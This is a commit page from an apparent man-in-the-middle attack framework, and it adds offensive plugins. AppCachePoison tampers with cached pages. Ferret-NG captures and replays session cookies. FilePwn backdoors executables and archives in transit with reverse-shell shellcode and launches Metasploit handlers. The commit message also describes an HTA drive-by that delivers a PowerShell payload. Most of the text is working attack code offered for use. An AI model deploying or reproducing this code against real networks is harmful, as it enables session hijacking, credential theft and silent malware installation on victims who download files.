This is a vewwwy big commit

- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes
- The logging of the whole framework has been compleatly overhauled
- plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying!
- New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload
- the API of the plugins has been simplified
- Improvements and error handling to user-agent parsing
- Some misc bugfixes
This commit is contained in:
byt3bl33d3r 2015-07-18 20:14:07 +02:00
parent ff0ada2a39
commit 5e2f30fb89
64 changed files with 3748 additions and 1473 deletions

197
plugins/appcachepoison.py Normal file
View file

@ -0,0 +1,197 @@
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import re
import os.path
import time
import sys
from datetime import date
from plugins.plugin import Plugin
class AppCachePlugin(Plugin):
name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
from core.sslstrip.URLMonitor import URLMonitor
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
def response(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo)
p = self.getTemplatePrefix(s)
if element == 'tamper':
self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.app_config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
return data
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
self.clientlog.debug("Adding AppCache mass poison for URL {}, id {}".format(url, browser_id), extra=request.clientInfo)
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.app_config:
if isinstance(self.app_config[i], dict):
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.app_config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.app_config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.app_config:
if isinstance(self.app_config[i], dict): #section
section = self.app_config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())

View file

@ -0,0 +1,45 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import json
from pprint import pformat
from plugins.plugin import Plugin
from plugins.inject import Inject
class BrowserProfiler(Inject, Plugin):
name = "BrowserProfiler"
optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients"
version = "0.3"
def initialize(self, options):
Inject.initialize(self, options)
self.js_file = "./core/javascript/plugindetect.js"
self.output = {} # so other plugins can access the results
def request(self, request):
if (request.command == 'POST') and ('clientprfl' in request.uri):
request.handle_post_output = True
self.output = json.loads(request.postData)
pretty_output = pformat(self.output)
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
def options(self, options):
pass

100
plugins/ferretng.py Normal file
View file

@ -0,0 +1,100 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import json
import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
class FerretNG(Plugin):
name = "Ferret-NG"
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
def initialize(self, options):
self.options = options
self.ferret_port = options.ferret_port
self.cookie_file = None
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
from core.utils import shutdown
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = json.dumps(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def on_config_change(self):
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def request(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
entry['host'] = host
entry['cookie'] = cookie
return
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def reactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def options(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
def on_shutdown(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
self.log.info("Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

632
plugins/filepwn.py Normal file
View file

@ -0,0 +1,632 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#--------------------------------------------------------------------------------#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux. (and Arch Linux)
import sys
import os
import pefile
import zipfile
import logging
import shutil
import random
import string
import threading
import multiprocessing
import tarfile
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from plugins.plugin import Plugin
from tempfile import mkstemp
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
tree_info = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.patched = multiprocessing.Queue()
from core.msfrpc import Msf
self.msf = Msf()
#FOR FUTURE USE
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
t = threading.Thread(name='setup_msf', target=self.setup_msf)
t.setDaemon(True)
t.start()
def setup_msf(self):
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"])
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
def on_config_change(self):
self.initialize(self.options)
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def bytes_have_format(self, bytess, formatt):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
return True
return False
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif self.FatPriority == 'x64':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
self.patched.put(result)
return
except Exception as e:
print 'Exception', str(e)
self.log.warning("EXCEPTION IN binaryGrinder {}".format(e))
return None
def tar_files(self, aTarFileBytes, formatt):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
self.log.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try:
tarFileStorage.seek(0)
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
except tarfile.ReadError:
pass
if tarFile is None:
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = False
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
self.log.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
self.log.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
self.log.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
self.log.info('Encrypted zipfile found. Not patching.')
self.patched.put(aZipFile)
return
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
self.log.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
self.log.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
self.log.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
self.log.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else:
self.patched.put(tempZipFile)
return
def response(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
self.clientlog.info("Detected supported zip file type!", extra=request.clientInfo)
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_zip = self.patched.get()
if bd_zip:
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
self.clientlog.info("Detected supported tar file type!", extra=request.clientInfo)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_tar = self.patched.get()
if bd_tar:
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
#process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_binary}
else:
self.clientInfo.info("Patching Failed!", extra=request.clientInfo)
